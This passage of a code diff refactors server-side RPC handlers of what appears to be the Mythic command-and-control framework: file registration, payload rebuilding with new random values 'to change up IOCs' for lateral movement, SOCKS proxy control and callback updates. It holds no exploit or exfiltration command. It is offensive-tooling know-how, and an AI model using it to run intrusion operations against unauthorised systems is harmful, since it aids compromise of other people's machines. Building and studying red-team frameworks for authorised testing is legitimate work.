+ ), level="warning", source="payload_import_sync_error"))
else:
- await send_all_operations_message("Failed Sync-ed database with {} payload files: {}".format(
- pieces[2], status["error"]
- ), "warning")
- except Exception as i:
- await send_all_operations_message("Failed Sync-ed database with {} payload files: {}".format(
+ asyncio.create_task(send_all_operations_message(
+ message="Failed Sync-ed database import with {} payload files: {}".format(
pieces[2], status["error"]
- ), "warning")
+ ), level="warning", source="payload_import_sync_error"))
+ except Exception as i:
+ asyncio.create_task(
+ send_all_operations_message(message="Failed Sync-ed database fetch with {} payload files: {}".format(
+ pieces[2], str(i)
+ ), level="warning", source="payload_parse_sync_error"))
else:
- await send_all_operations_message("Failed getting information for payload {} with error: {}".format(
- pieces[2], message.body.decode()
- ), "warning")
+ asyncio.create_task(send_all_operations_message(
+ message="Failed getting information for payload {} with error: {}".format(
+ pieces[2], message.body.decode()
+ ), level="warning", source="payload_sync_error"))
+ elif pieces[3] == "process_container":
+ task = await app.db_objects.get(db_model.task_query, id=pieces[4])
+ await app.db_objects.create(db_model.OperationEventLog, operation=task.callback.operation,
+ message=message.body.decode("utf-8"), level="warning", source=str(uuid.uuid4()))
except Exception as e:
- logger.exception("Exception in rabbit_pt_callback: " + str(e))
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- # print("Exception in rabbit_pt_callback: " + str(e))
-
-
-async def rabbit_pt_rpc_callback(
- exchange: aio_pika.Exchange, message: aio_pika.IncomingMessage
-):
- with message.process():
- request = json.loads(message.body.decode())
- if "task_id" not in request:
- response = json.dumps(
- {"status": "error", "error": "Missing task_id"}
- ).encode()
- elif "action" in request:
- if request["action"] == "register_file":
- response = await register_file(request)
- elif request["action"] == "get_file_by_name":
- response = await get_file_by_name(request)
- elif request["action"] == "get_payload_by_uuid":
- response = await get_payload_by_uuid(request)
- elif request["action"] == "build_payload_from_template":
- response = await build_payload_from_template(request)
- elif request["action"] == "control_socks":
- response = await control_socks(request)
- elif request["action"] == "encrypt_bytes":
- response = await encrypt_bytes(request)
- elif request["action"] == "decrypt_bytes":
- response = await decrypt_bytes(request)
- elif request["action"] == "user_output":
- response = await user_output(request)
- elif request["action"] == "update_callback":
- response = await task_update_callback(request)
- elif request["action"] == "register_artifact":
- response = await register_artifact(request)
- elif request["action"] == "build_payload_from_parameters":
- response = await build_payload_from_parameters(request)
- elif request["action"] == "register_payload_on_host":
- response = await register_payload_on_host(request)
- else:
- response = {"status": "error", "error": "unknown action"}
- response = json.dumps(response).encode()
- else:
- response = json.dumps(
- {"status": "error", "error": "Missing action"}
- ).encode()
- try:
- await exchange.publish(
- aio_pika.Message(body=response, correlation_id=message.correlation_id),
- routing_key=message.reply_to,
- )
- except Exception as e:
- error = (
- "Exception trying to send message back to container for rpc! " + str(e)
- )
- error += "\nResponse: {}\nCorrelation_id: {}\n RoutingKey: {}".format(
- str(response), message.correlation_id, message.reply_to
- )
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- task.status = "error"
- task.completed = True
- await db_objects.update(task)
- await db_objects.create(
- db_model.Response, task=task, response=error.encode("unicode-escape")
- )
-
-
-async def register_file(request):
- # {
- # "action": "register_file",
- # "file": base64.b64encode(file).decode(),
- # "task_id": self.task_id
- # "delete_after_fetch": True,
- # "saved_file_name": str(uuid.uuid4()),
- # "remote_path": "",
- # "is_screenshot": False,
- # "is_download": False,
- # }
+ logger.exception("Exception in rabbit_pt_callback: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+
+
+async def create_file(task_id: int, file: str, delete_after_fetch: bool = True,
+ saved_file_name: str = None, is_screenshot: bool = False,
+ is_download: bool = False, remote_path: str = None,
+ host: str = None) -> dict:
+ """
+ Creates a FileMeta object in Mythic's database and writes contents to disk with a random UUID filename.
+ This file can then be fetched via the returned file UUID.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param file: The base64 contents of the file to register
+ :param delete_after_fetch: Should Mythic delete the file from disk after the agent fetches it. This also marks the file as deleted in the UI. This is useful if the file is a temporary file that doesn't necessarily need long-term tracking within Mythic.
+ :param saved_file_name: The name of the file (if none supplied, a random UUID4 value will be used)
+ :param is_screenshot: Is this file a screenshot reported by the agent? If so, this will cause it to show up in the screenshots page.
+ :param is_download: Is this file the result of downloading something from the agent? If so, this will cause it to show up in the Files page under Downloads
+ :param remote_path: Does this file exist on target? If so, provide the full remote path here
+ :param host: If this file exists on a target host, indicate it here in conjunction with the remote_path argument
+ :return: Dict of a FileMeta object
+ Example: this takes two arguments - ParameterType.String for `remote_path` and ParameterType.File for `file`
+ async def create_tasking(self, task: MythicTask) -> MythicTask:
+ try:
+ original_file_name = json.loads(task.original_params)["file"]
+ if len(task.args.get_arg("remote_path")) == 0:
+ task.args.add_arg("remote_path", original_file_name)
+ elif task.args.get_arg("remote_path")[-1] == "/":
+ task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name)
+ file_resp = await MythicRPC().execute("create_file", task_id=task.id,
+ file=base64.b64encode(task.args.get_arg("file")).decode(),
+ saved_file_name=original_file_name,
+ delete_after_fetch=False,
+ )
+ if file_resp.status == MythicStatus.Success:
+ task.args.add_arg("file", file_resp.response["agent_file_id"])
+ task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}"
+ else:
+ raise Exception("Error from Mythic: " + str(file_resp.error))
+ except Exception as e:
+ raise Exception("Error from Mythic: " + str(sys.exc_info()[-1].tb_lineno) + str(e))
+ return task
+ """
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- filename = (
- request["saved_file_name"]
- if "saved_file_name" in request
- else str(uuid.uuid4())
- )
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ filename = saved_file_name if saved_file_name is not None else str(uuid.uuid4())
path = "./app/files/{}".format(str(uuid.uuid4()))
code_file = open(path, "wb")
- code = base64.b64decode(request["file"])
+ code = base64.b64decode(file)
code_file.write(code)
code_file.close()
size = os.stat(path).st_size
md5 = await hash_MD5(code)
sha1 = await hash_SHA1(code)
- new_file_meta = await db_objects.create(
+ new_file_meta = await app.db_objects.create(
db_model.FileMeta,
total_chunks=1,
chunks_received=1,
@@ -338,58 +487,136 @@ async def register_file(request):
path=str(path),
operation=task.callback.operation,
operator=task.operator,
- full_remote_path=request["remote_path"],
+ full_remote_path=remote_path.encode("utf-8") if remote_path is not None else "".encode("utf-8"),
md5=md5,
sha1=sha1,
task=task,
- delete_after_fetch=request["delete_after_fetch"],
- filename=filename,
- is_screenshot=request["is_screenshot"],
- is_download_from_agent=request["is_download"],
+ delete_after_fetch=delete_after_fetch,
+ filename=filename.encode("utf-8"),
+ is_screenshot=is_screenshot,
+ is_download_from_agent=is_download,
+ host=host.upper() if host is not None else task.callback.host
)
- await log_to_siem(new_file_meta.to_json(), mythic_object="file_upload")
+ asyncio.create_task(log_to_siem(mythic_object=new_file_meta, mythic_source="file_upload"))
+ if remote_path is not None:
+ asyncio.create_task(add_upload_file_to_file_browser(task.callback.operation, task, new_file_meta,
+ {"full_path": remote_path}))
return {"status": "success", "response": new_file_meta.to_json()}
except Exception as e:
return {"status": "error", "error": str(e)}
-async def get_file_by_name(request):
+async def get_file(task_id: int = None, callback_id: int = None, filename: str = None, limit_by_callback: bool = True, max_results: int = 1,
+ file_id: str = None, get_contents: bool = True) -> dict:
+ """
+ Get file data and contents by name (ex: from create_file and a specified saved_file_name parameter).
+ The search can be limited to just this callback (or the entire operation) and return just the latest or some number of matching results.
+ :param task_id: The ID number of the task performing this action (task.id) - if this isn't provided, the callback id must be provided
+ :param callback_id: The ID number of the callback for this action - if this isn't provided, the task_id must be provided
+ :param filename: The name of the file to search for (Case sensitive)
+ :param file_id: If no filename specified, then can search for a specific file by this UUID
+ :param limit_by_callback: Set this to True if you only want to search for files that are tied to this callback. This is useful if you're doing this as part of another command that previously loaded files into this callback's memory.
+ :param max_results: The number of results you want back. 1 will be the latest file uploaded with that name, -1 will be all results.
+ :param get_contents: Boolean of if you want to fetch file contents or just metadata
+ :return: An array of dictionaries representing the FileMeta objects of all matching files. When "get_contents" is True, each entry in this array will also have a "contents" key with the base64 representation of the associated file if it hasn't been deleted, or None if it has.
+ For an example-
+ resp = await MythicRPC().execute("get_file", task_id=task.id, filename="myAssembly.exe")
+ resp.response <--- this is an array
+ resp.response[0] <--- this is the most recently registered matching file where filename="myAssembly.exe"
+ resp.response[0]["filename"] <-- the filename of that first result
+ resp.response[0]["contents"] <--- the base64 representation of that file
+ All of the possible dictionary keys are available at https://github.com/its-a-feature/Mythic/blob/master/mythic-docker/app/database_models/model.py for the FileMeta class
+ """
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- file_query = await db_model.filemeta_query()
- files = await db_objects.execute(
- file_query.where(
- (db_model.FileMeta.deleted == False)
- & (db_model.FileMeta.filename == request["filename"])
- & (db_model.FileMeta.operation == task.callback.operation)
- ).order_by(db_model.FileMeta.timestamp)
- )
- file = None
- for f in files:
- file = f
- if file is None:
- return {"status": "error", "error": "File not found"}
+ if task_id is not None:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ operation = task.callback.operation
+ callback = task.callback
+ elif callback_id is not None:
+ callback = await app.db_objects.get(db_model.callback_query, id=callback_id)
+ operation = callback.operation
else:
- file_json = file.to_json()
- if os.path.exists(file.path):
- file_json["contents"] = base64.b64encode(
- open(file.path, "rb").read()
- ).decode()
- return {"status": "success", "response": file_json}
+ return {"status": "error", "error": "task_id or callback_id must be provided", "response": []}
+ output = []
+ if filename is not None:
+ files = await app.db_objects.execute(
+ db_model.filemeta_query.where(
+ (db_model.FileMeta.deleted == False)
+ & (fn.encode(db_model.FileMeta.filename, "escape").regexp(filename))
+ & (db_model.FileMeta.operation == operation)
+ ).order_by(-db_model.FileMeta.id)
+ )
+ count = 0
+ for f in files:
+ if count < max_results or max_results == -1:
+ if limit_by_callback:
+ if f.task is not None and f.task.callback == callback:
+ output.append(f.to_json())
+ else:
+ output.append(f.to_json())
+ elif file_id is not None:
+ try:
+ file = await app.db_objects.get(db_model.filemeta_query, agent_file_id=file_id,
+ operation=operation)
+ output.append(file.to_json())
+ except Exception as d:
+ return {"status": "error", "error": "File does not exist in this operation", "response": []}
+ if get_contents:
+ for f in output:
+ if os.path.exists(f["path"]):
+ f["contents"] = base64.b64encode(
+ open(f["path"], "rb").read()
+ ).decode()
+ else:
+ f["contents"] = None
+ return {"status": "success", "response": output}
except Exception as e:
- return {"status": "error", "error": str(e)}
+ return {"status": "error", "error": str(e), "response": []}
-async def get_payload_by_uuid(request):
+async def get_payload(payload_uuid: str, get_contents: bool = True) -> dict:
+ """
+ Get information about a payload and its contents
+ :param payload_uuid: The UUID for the payload you're interested in
+ :param get_contents: Whether or not you want to fetch the contents of the file or just the metadata
+ :return: dictionary representation of the Payload object
+ Example:
+ async def create_tasking(self, task: MythicTask) -> MythicTask:
+ try:
+ gen_resp = await MythicRPC().execute("create_payload_from_uuid", task_id=task.id,
+ payload_uuid=task.args.get_arg("template"))
+ if gen_resp.status == MythicStatus.Success:
+ # we know a payload is building, now we want it
+ while True:
+ resp = await MythicRPC().execute("get_payload", payload_uuid=gen_resp.response["uuid"])
+ if resp.status == MythicStatus.Success:
+ if resp.response["build_phase"] == "success":
+ task.args.add_arg("template", resp.response["file"]["agent_file_id"])
+ task.display_params = f"new Apfell payload ({resp.response['uuid']}) with description {resp.response['tag']}"
+ break
+ elif resp.response["build_phase"] == "error":
+ raise Exception(
+ "Failed to build new payload: " + str(resp.error)
+ )
+ else:
+ await asyncio.sleep(1)
+ if resp.status == MythicStatus.Error:
+ raise Exception("Failed to get information about new payload:\\n" + resp.error)
+ else:
+ raise Exception("Failed to generate new payload:\\n" + gen_resp.error)
+ except Exception as e:
+ raise Exception("Error trying to call RPC:\\n" + str(e))
+ return task
+ """
try:
- payload_query = await db_model.payload_query()
- payload = await db_objects.get(payload_query, uuid=request["uuid"])
+ payload = await app.db_objects.prefetch(db_model.payload_query.where(db_model.Payload.uuid == payload_uuid),
+ db_model.filemeta_query)
+ payload = list(payload)[0]
payload_json = payload.to_json()
payload_json["contents"] = ""
- if os.path.exists(payload.file_id.path):
+ if os.path.exists(payload.file.path) and get_contents:
payload_json["contents"] = base64.b64encode(
- open(payload.file_id.path, "rb").read()
+ open(payload.file.path, "rb").read()
).decode()
from app.api.task_api import add_all_payload_info
@@ -399,133 +626,198 @@ async def get_payload_by_uuid(request):
payload_json["build_parameters"] = payload_info["build_parameters"]
return {"status": "success", "response": payload_json}
except Exception as e:
- print(str(traceback.format_exc()))
- return {"status": "error", "error": "Payload not found"}
+ logger.warning("rabbitmq_api.py - get_payload - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return {"status": "error", "error": "Payload not found:\n" + str(e)}
+
+
+async def create_payload_from_uuid(task_id: int, payload_uuid: str, generate_new_random_values: bool = True,
+ new_description: str = None, remote_host: str = None, filename: str = None) -> dict:
+ """
+ Given an existing Payload UUID, generate a new copy with a potentially new description, new filename, new random values, and specify that it'll exist on a certain host. This is useful for spawn or lateral movement tasks where you want to potentially change up IOCs and provide new, more informative, descriptions for callbacks.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param payload_uuid: The UUID of the payload we're interested in
+ :param generate_new_random_values: Set this to True to generate new random values for C2 Profile parameters that are flagged as randomized
+ :param new_description: Provide a custom new description for the payload and callbacks associated from it. If you don't provide one, a generic one will be generated
+ :param remote_host: Indicate the hostname of the host this new payload is deployed to. If one isn't specified, you won't be able to link to it without first telling Mythic that this payload exists on a certain host via the Popup Modals.
+ :param filename: New filename for the payload. If one isn't supplied, a random UUID will be generated
+ :return: dictionary representation of the payload that was created
+ Example:
+ async def create_tasking(self, task: MythicTask) -> MythicTask:
+ try:
+ gen_resp = await MythicRPC().execute("create_payload_from_uuid", task_id=task.id,
+ payload_uuid=task.args.get_arg("template"))
+ if gen_resp.status == MythicStatus.Success:
+ # we know a payload is building, now we want it
+ while True:
+ resp = await MythicRPC().execute("get_payload", payload_uuid=gen_resp.response["uuid"])
+ if resp.status == MythicStatus.Success:
+ if resp.response["build_phase"] == "success":
+ task.args.add_arg("template", resp.response["file"]["agent_file_id"])
+ task.display_params = f"new Apfell payload ({resp.response['uuid']}) with description {resp.response['tag']}"
+ break
+ elif resp.response["build_phase"] == "error":
+ raise Exception(
+ "Failed to build new payload: " + str(resp.error)
+ )
+ else:
+ await asyncio.sleep(1)
+ if resp.status == MythicStatus.Error:
+ raise Exception("Failed to get information about new payload:\\n" + resp.error)
+ else:
+ raise Exception("Failed to generate new payload:\\n" + gen_resp.error)
+ except Exception as e:
+ raise Exception("Error trying to call RPC:\\n" + str(e))
+ return task
+ """
+ # check to make sure we have the right parameters (host, template)
+ from app.api.payloads_api import register_new_payload_func
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ # default to the template of the current payload unless otherwise specified
+ host = task.callback.host if remote_host is None else remote_host.upper()
+ data = await get_payload_build_config(payload_uuid, generate_new_random_values)
+ if data["status"] == "success":
+ data = data["data"]
+ else:
+ return data
+ if new_description is not None:
+ data["tag"] = new_description
+ else:
+ data["tag"] = "Autogenerated from task {} on callback {}".format(
+ str(task.id), str(task.callback.id)
+ )
+ data["filename"] = "Task" + str(task.id) + "Copy_" + data["filename"]
+ if filename is not None:
+ data["filename"] = filename
+ rsp = await register_new_payload_func(
+ data,
+ {
+ "current_operation": task.callback.operation.name,
+ "username": task.operator.username,
+ },
+ )
+ task.status = "building.."
+ await app.db_objects.update(task)
+ return await handle_automated_payload_creation_response(task, rsp, data, host)
+ except Exception as e:
+ logger.warning("rabbitmq.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(traceback.format_exc()))
+ return {
+ "status": "error",
+ "error": "Failed to build payload: " + str(traceback.format_exc()),
+ }
-async def build_payload_from_template(request):
- # check to make sure we have the right parameters (host, template)
- from app.api.payloads_api import register_new_payload_func, write_payload
- from app.api.c2profiles_api import generate_random_format_string
+async def get_payload_build_config(payload_uuid: str, generate_new_random_values: bool = False):
try:
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- # default to the template of the current payload unless otherwise specified
- template = task.callback.registered_payload
- host = task.callback.host.upper()
- task.status = "building..."
- await db_objects.update(task)
- if "uuid" in request and request["uuid"] != "" and request["uuid"] is not None:
- # pull that associated payload
- query = await db_model.payload_query()
- template = await db_objects.get(query, uuid=request["uuid"])
- if (
- "destination_host" in request
- and request["destination_host"] != ""
- and request["destination_host"] is not None
- and request["destination_host"] not in ["localhost", "127.0.0.1", "::1"]
- ):
- host = request["destination_host"].upper()
+ from app.api.c2profiles_api import generate_random_format_string
+ template = await app.db_objects.get(db_model.payload_query, uuid=payload_uuid)
+ if template.build_phase not in ["success", "error"]:
+ return {"status": "error", "error": "Can't task to rebuild a payload that's not completed"}
# using that payload, generate the following build-tasking data
data = {
"payload_type": template.payload_type.ptype,
"c2_profiles": [],
"commands": [],
- "tag": "Autogenerated from task {} on callback {}".format(
- str(task.id), str(task.callback.id)
- ),
+ "selected_os": template.os,
+ "tag": template.tag,
"wrapper": template.payload_type.wrapper,
}
if data["wrapper"]:
- if "wrapped_payload" not in request or request["wrapped_payload"] is None:
- data["wrapped_payload"] = template.wrapped_payload.uuid
- if "description" in request:
- if request["description"] is not None and request["description"] != "":
- data["tag"] = request["description"]
- query = await db_model.payloadcommand_query()
- payloadcommands = await db_objects.execute(
- query.where(db_model.PayloadCommand.payload == template)
+ data["wrapped_payload"] = template.wrapped_payload.uuid
+ payloadcommands = await app.db_objects.execute(
+ db_model.payloadcommand_query.where(db_model.PayloadCommand.payload == template)
)
data["commands"] = [c.command.cmd for c in payloadcommands]
- query = await db_model.buildparameterinstance_query()
- create_transforms = await db_objects.execute(
- query.where(db_model.BuildParameterInstance.payload == template)
+ build_parameters = await app.db_objects.execute(
+ db_model.buildparameterinstance_query.where(db_model.BuildParameterInstance.payload == template)
)
- data["build_parameters"] = [t.to_json() for t in create_transforms]
+ data["build_parameters"] = [t.to_json() for t in build_parameters]
for t in data["build_parameters"]:
t["name"] = t["build_parameter"]["name"]
t["value"] = t["parameter"]
c2_profiles_data = []
- query = await db_model.payloadc2profiles_query()
- c2profiles = await db_objects.execute(
- query.where(db_model.PayloadC2Profiles.payload == template)
+ c2profiles = await app.db_objects.execute(
+ db_model.payloadc2profiles_query.where(db_model.PayloadC2Profiles.payload == template)
)
for c2p in c2profiles:
- query = await db_model.c2profileparametersinstance_query()
- c2_profile_params = await db_objects.execute(
- query.where(
+ c2_profile_params = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(db_model.C2ProfileParametersInstance.payload == template)
& (
- db_model.C2ProfileParametersInstance.c2_profile
- == c2p.c2_profile
+ db_model.C2ProfileParametersInstance.c2_profile
+ == c2p.c2_profile
)
)
)
params = {}
for p in c2_profile_params:
- if p.c2_profile_parameters.randomize:
+ if p.c2_profile_parameters.randomize and generate_new_random_values:
params[
p.c2_profile_parameters.name
] = await generate_random_format_string(
p.c2_profile_parameters.format_string
)
+ elif p.c2_profile_parameters.parameter_type == "Dictionary" or p.c2_profile_parameters.parameter_type == "Array":
+ params[p.c2_profile_parameters.name] = json.loads(p.value)
else:
params[p.c2_profile_parameters.name] = p.value
c2_profiles_data.append(
{"c2_profile": c2p.c2_profile.name, "c2_profile_parameters": params}
)
data["c2_profiles"] = c2_profiles_data
- data["filename"] = "Task" + str(task.id) + "Copy_" + template.file_id.filename
- # print(data)
- # upon successfully starting the build process, set pcallback and task
- # when it's successfully written, it will get a file_id with it
- rsp = await register_new_payload_func(
- data,
- {
- "current_operation": task.callback.operation.name,
- "username": task.operator.username,
- },
- )
- return await handle_automated_payload_creation_response(task, rsp, data, host)
+ data["filename"] = bytes(template.file.filename).decode()
+ return {"status": "success", "data": data}
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(traceback.format_exc()))
- return {
- "status": "error",
- "error": "Failed to build payload: " + str(traceback.format_exc()),
- }
+ logger.warning("rabbitmq.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ raise e
-async def build_payload_from_parameters(request):
+async def create_payload_from_parameters(task_id: int, payload_type: str, c2_profiles: list, commands: list,
+ build_parameters: list, filename: str = None, description: str = None,
+ destination_host: str = None, wrapped_payload_uuid: str = None) -> dict:
+ """
+ Create a payload by specifying all of the parameters yourself for what you want to build
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param payload_type: The name of the payload type you're wanting to build
+ :param c2_profiles: List of c2 dictionaries of the form:
+ [{ "c2_profile": "name of the c2 profile",
+ "c2_profile_parameters": {
+ "parameter name": "parameter value",
+ "parameter name2": "parameter value 2"
+ }
+ }]
+ :param commands: List of all the command names you want included with the payload that you build. This is of the form:
+ [ "command1", "command2", "command3", ...]
+ :param build_parameters:
+ :param filename: Name of the new file
+ :param description: Description for the payload that'll appear in the UI when a callback is created
+ :param destination_host: Name of the host where the payload goes. If this isn't specified, then it's assumed to be the same host as the callback where the task is issued
+ :param wrapped_payload_uuid: If you're creating a payload that wraps another payload, specify the UUID of the internal payload here
+ :return: dictionary representation of a payload object
+ """
try:
+ task = app.db_objects.get(db_model.task_query, id=task_id)
from app.api.payloads_api import register_new_payload_func
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
host = task.callback.host.upper()
- task.status = "building..."
- await db_objects.update(task)
- if (
- "destination_host" in request
- and request["destination_host"] != ""
- and request["destination_host"] is not None
- and request["destination_host"] not in ["localhost", "127.0.0.1", "::1"]
- ):
- host = request["destination_host"].upper()
- if "tag" not in request or request["tag"] == "":
- request["tag"] = "Autogenerated from task {} on callback {}".format(
+ if destination_host is not None:
+ host = destination_host.upper()
+ tag = "Autogenerated from task {} on callback {}".format(
str(task.id), str(task.callback.id))
- if "filename" not in request or request["filename"] == "":
- request["filename"] = "Task" + str(task.id) + "Payload"
+ if description is not None:
+ tag = description
+ new_filename = "Task" + str(task.id) + "Payload"
+ if filename is not None:
+ new_filename = filename
+ request = {
+ "tag": tag,
+ "filename": new_filename,
+ "payload_type": payload_type,
+ "c2_profiles": c2_profiles,
+ "commands": commands,
+ "build_parameters": build_parameters,
+ "wrapped_payload": wrapped_payload_uuid,
+ }
rsp = await register_new_payload_func(
request,
{
@@ -533,6 +825,8 @@ async def build_payload_from_parameters(request):
"username": task.operator.username,
},
)
+ task.status = "building.."
+ await app.db_objects.update(task)
return await handle_automated_payload_creation_response(task, rsp, request, host)
except Exception as e:
return {
@@ -545,15 +839,15 @@ async def handle_automated_payload_creation_response(task, rsp, data, host):
from app.api.payloads_api import write_payload
if rsp["status"] == "success":
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=rsp["uuid"])
+ payload = await app.db_objects.get(db_model.payload_query, uuid=rsp["uuid"])
payload.task = task
- payload.pcallback = task.callback
payload.auto_generated = True
payload.callback_alert = False
- payload.file_id.delete_after_fetch = True
- await db_objects.update(payload.file_id)
- await db_objects.update(payload)
+ payload.file.delete_after_fetch = True
+ payload.file.task = task
+ payload.file.host = host.upper()
+ await app.db_objects.update(payload.file)
+ await app.db_objects.update(payload)
# send a message back to the container to build a new payload
create_rsp = await write_payload(
payload.uuid,
@@ -565,9 +859,9 @@ async def handle_automated_payload_creation_response(task, rsp, data, host):
)
if create_rsp["status"] != "success":
payload.deleted = True
- await db_objects.update(payload)
+ await app.db_objects.update(payload)
task.status = "error"
- await db_objects.create(
+ await app.db_objects.create(
db_model.Response,
task=task,
response="Exception when building payload: {}".format(
@@ -580,10 +874,10 @@ async def handle_automated_payload_creation_response(task, rsp, data, host):
+ create_rsp["error"],
}
else:
- task.status = "building..."
+ task.status = "building.."
task.timestamp = datetime.datetime.utcnow()
- await db_objects.update(task)
- await db_objects.create(
+ await app.db_objects.update(task)
+ await app.db_objects.get_or_create(
db_model.PayloadOnHost,
host=host.upper(),
payload=payload,
@@ -596,7 +890,7 @@ async def handle_automated_payload_creation_response(task, rsp, data, host):
payload_info = {**payload_info, **payload.to_json()}
return {"status": "success", "response": payload_info}
else:
- await db_objects.create(
+ await app.db_objects.create(
db_model.Response,
task=task,
response="Exception when registering payload: {}".format(rsp["error"]),
@@ -607,240 +901,818 @@ async def handle_automated_payload_creation_response(task, rsp, data, host):
}
-async def control_socks(request):
- task_query = await db_model.task_query()
- task = await db_objects.get(task_query, id=request["task_id"])
- if "start" in request:
- from app.api.callback_api import start_socks
+async def control_socks(task_id: int, port: int, start: bool = False, stop: bool = False) -> dict:
+ """
+ Start or stop SOCKS 5 on a specific port for this task's callback
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param port: The port to open for SOCKS 5
+ :param start: Boolean for if SOCKS should start
+ :param stop: Boolean for if SOCKS should stop
+ :return: Status message of if it completed successfully (nothing in the `response` attribute)
+ Example:
+ async def create_tasking(self, task: MythicTask) -> MythicTask:
+ if task.args.get_arg("action") == "start":
+ resp = await MythicRPC().execute("control_socks", task_id=task.id, start=True, port=task.args.get_arg("port"))
+ if resp.status != MythicStatus.Success:
+ task.status = MythicStatus.Error
+ raise Exception(resp.error)
+ else:
+ resp = await MythicRPC().execute("control_socks", task_id=task.id, stop=True, port=task.args.get_arg("port"))
+ if resp.status != MythicStatus.Success:
+ task.status = MythicStatus.Error
+ raise Exception(resp.error)
+ return task
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ if start:
+ from app.api.callback_api import start_socks
+ resp = await start_socks(port, task.callback, task)
+ return resp
+ elif stop:
+ from app.api.callback_api import stop_socks
+ resp = await stop_socks(task.callback, task.operator)
+ return resp
+ return {"status": "error", "error": "unknown socks tasking"}
+ except Exception as e:
+ return {"status": "error", "error": "Exception trying to handle socks control:\n" + str(e)}
+
+
+async def create_output(task_id: int, output: str) -> dict:
+ """
+ Add a message to the output for a task that the operator can see
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param output: The message you want to send.
+ :return: Status of if you successfully posted or not (nothing in the `response` attribute)
+ Example:
+ async def create_tasking(self, task: MythicTask) -> MythicTask:
+ resp = await MythicRPC().execute("create_output", task_id=task.id, output="hello")
+ if resp.status != MythicStatus.Success:
+ task.status = MythicStatus.Error
+ raise Exception(resp.error)
+ return task
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ resp = await app.db_objects.create(
+ db_model.Response,
+ task=task,
+ response=output.encode("utf-8"),
+ )
+ return {"status": "success"}
+ except Exception as e:
+ return {"status": "error", "error": str(e)}
- resp = await start_socks(request["port"], task.callback, task)
- return resp
- if "stop" in request:
- from app.api.callback_api import stop_socks
- resp = await stop_socks(task.callback, task.operator)
- return resp
- return {"status": "error", "error": "unknown socks tasking"}
+async def update_callback(task_id: int, user: str = None, host: str = None, pid: int = None, ip: str = None,
+ external_ip: str = None, description: str = None, integrity_level: int = None,
+ os: str = None, architecture: str = None, domain: str = None, extra_info: str = None,
+ sleep_info: str = None) -> dict:
+ """
+ Update this task's associated callback data.
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param user: The new username
+ :param host: The new hostname
+ :param pid: The new process identifier
+ :param ip: The new IP address
+ :param external_ip: The new external IP address
+ :param description: The new description
+ :param integrity_level: The new integrity level
+ :param os: The new operating system information
+ :param architecture: The new architecture
+ :param domain: The new domain
+ :param extra_info: The new "extra info" you want to store
+ :param sleep_info: The new sleep information for the callback
+ :return: Success or error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ update_data = {}
+ if user is not None:
+ update_data["user"] = user
+ if host is not None:
+ update_data["host"] = host.upper()
+ if pid is not None:
+ update_data["pid"] = pid
+ if ip is not None:
+ update_data["ip"] = ip
+ if external_ip is not None:
+ update_data["external_ip"] = external_ip
+ if description is not None:
+ update_data["description"] = description
+ if integrity_level is not None:
+ update_data["integrity_level"] = integrity_level
+ if os is not None:
+ update_data["os"] = os
+ if architecture is not None:
+ update_data["architecture"] = architecture
+ if domain is not None:
+ update_data["domain"] = domain
+ if extra_info is not None:
+ update_data["extra_info"] = extra_info
+ if sleep_info is not None:
+ update_data["sleep_info"] = sleep_info
+ from app.api.callback_api import update_callback
+ status = await update_callback(
+ update_data, task.callback.agent_callback_id
+ )
+ return status
+ except Exception as e:
+ logger.warning("rabbitmq_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return {"status": "error", "error": str(e)}
-async def encrypt(callback_uuid: str, data: bytes, with_uuid: bool):
- from app.api.callback_api import get_encryption_data
- enc_key = await get_encryption_data(callback_uuid)
- message = await crypt.encrypt_bytes_normalized(data, enc_key, callback_uuid, with_uuid)
- if message == "":
- callback_query = await db_model.callback_query()
- callback = await db_objects.get(callback_query, agent_callback_id=callback_uuid)
- await db_objects.create(
- db_model.OperationEventLog,
- level="warning",
- operation=callback.operation,
- message="Payload or C2 profile tried to have Mythic encrypt a message of type: {}, but Mythic doesn't know that type".format(
- enc_key["type"]),
+async def create_artifact(task_id: int, artifact_type: str, artifact: str, host: str = None) -> dict:
+ """
+ Create a new artifact for a certain task on a host
+ :param task_id: The ID number of the task performing this action (task.id)
+ :param artifact_type: What kind of artifact is this (Process Create, File Write, etc). If the type specified doesn't exist, it will be created
+ :param artifact: The actual artifact that was created
+ :param host: Which host the artifact was created on. If none is provided, the current task's host is used
+ :return: Success or error (nothing in the `response` attribute)
+ """
+ try:
+ task = await app.db_objects.get(db_model.task_query, id=task_id)
+ except Exception as e:
+ return {"status": "error", "error": "Failed to find task"}
+ try:
+ # first try to look for the artifact type, if it doesn't exist, create it
+ base_artifact = await app.db_objects.get(db_model.artifact_query, name=artifact_type)
+ except Exception as e:
+ base_artifact = await app.db_objects.create(db_model.Artifact, name=artifact_type)
+ try:
